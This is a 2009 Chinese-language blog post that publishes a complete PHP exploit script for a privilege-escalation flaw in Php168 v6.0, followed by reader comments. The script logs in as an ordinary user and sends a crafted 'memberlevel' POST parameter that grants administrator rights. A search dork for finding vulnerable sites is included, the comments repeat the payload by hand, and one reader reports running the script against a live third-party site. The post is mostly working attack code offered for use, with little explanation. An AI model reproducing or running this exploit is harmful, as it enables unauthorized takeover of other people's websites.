Php168 v6 权限提升漏洞

by Ryat
http://www.wolvez.org
2009-07-17

天天上班,好久没在论坛发贴了…

以前发过一个php168 v2008的权限提升漏洞,这次的漏洞也出在相同的代码段
直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析:)

EXP:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Php168 v6.0 update user access exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V6.0"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 5) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user pass
host:      target server (ip/hostname)
path:      path to php168
user:      login username
pass:      login password
Example:
php '.$argv[0].' localhost /php168/ ryat 123456
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

$resp = send();
preg_match('/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/', $resp, $cookie);

if ($cookie)
    if (strpos(send(), 'puret_t') !== false)
        exit("Expoilt Success!\nYou Are Admin Now!\n");
    else
        exit("Exploit Failed!\n");
else
    exit("Exploit Failed!\n");

function rands($length = 8)
{
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    mt_srand((double)microtime() * 1000000);
    for ($i = 0; $i < $length; $i++)
        $hash .= $chars[mt_rand(0, $max)];

    return $hash;
}

function send()
{
    global $host, $path, $user, $pass, $cookie;

    if ($cookie) {
        $cookie[1] .= ';USR='.rands()."\t31\t\t";
        $cmd = 'memberlevel[8]=1&memberlevel[9]=1&memberlevel[3,introduce%3D0x70757265745f74]=-1';

        $message = "POST ".$path."member/homepage.php?uid=$cookie[2]  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n";
        $message .= "Cookie: ".$cookie[1]."\r\n\r\n";
        $message .= $cmd;
    } else {
        $cmd = "username=$user&password=$pass&step=2";

        $message = "POST ".$path."do/login.php  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n\r\n";
        $message .= $cmd;
    }

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>

相关日志

楼被抢了 9 层了... 抢座Rss 2.0或者 Trackback

  • noevil

    好东西…

  • YoCo Smart

    php的。。。。。
    没太看明白
    难道是$cookie这个有问题?

  • 前院着火

    估计是老洞了,G和B测试了一遍,一个都不能用。

  • 后院浇水

    Warning: fsockopen(): unable to connect to http://www.fqshi.com:80 (Unknown error) in E
    :\soft\PHPnow\PHPnow-1.5.4\php-5.2.10-Win32\php168.php on line 94

    Warning: fputs(): supplied argument is not a valid stream resource in E:\soft\PH
    Pnow\PHPnow-1.5.4\php-5.2.10-Win32\php168.php on line 95
    Exploit Failed!

    大牛看看,是不是没有洞洞鸟?

    • kj

      不会用exp就手工吧!关键的就这一句?memberlevel[8]=1&memberlevel[9]=1&memberlevel[3,introduce=自己用户名]=-1

    • 前院着火

      Exploit Failed!

      不知道什么意思?

      • Exploit >利用
        Failed >失败

        合起来就是>利用失败!

  • 051105mafei

    好久没来你博客了,
    还是这么深,看不懂。。
    GOOD LUCK!

  • 骨头

    与hack腿节了!

发表评论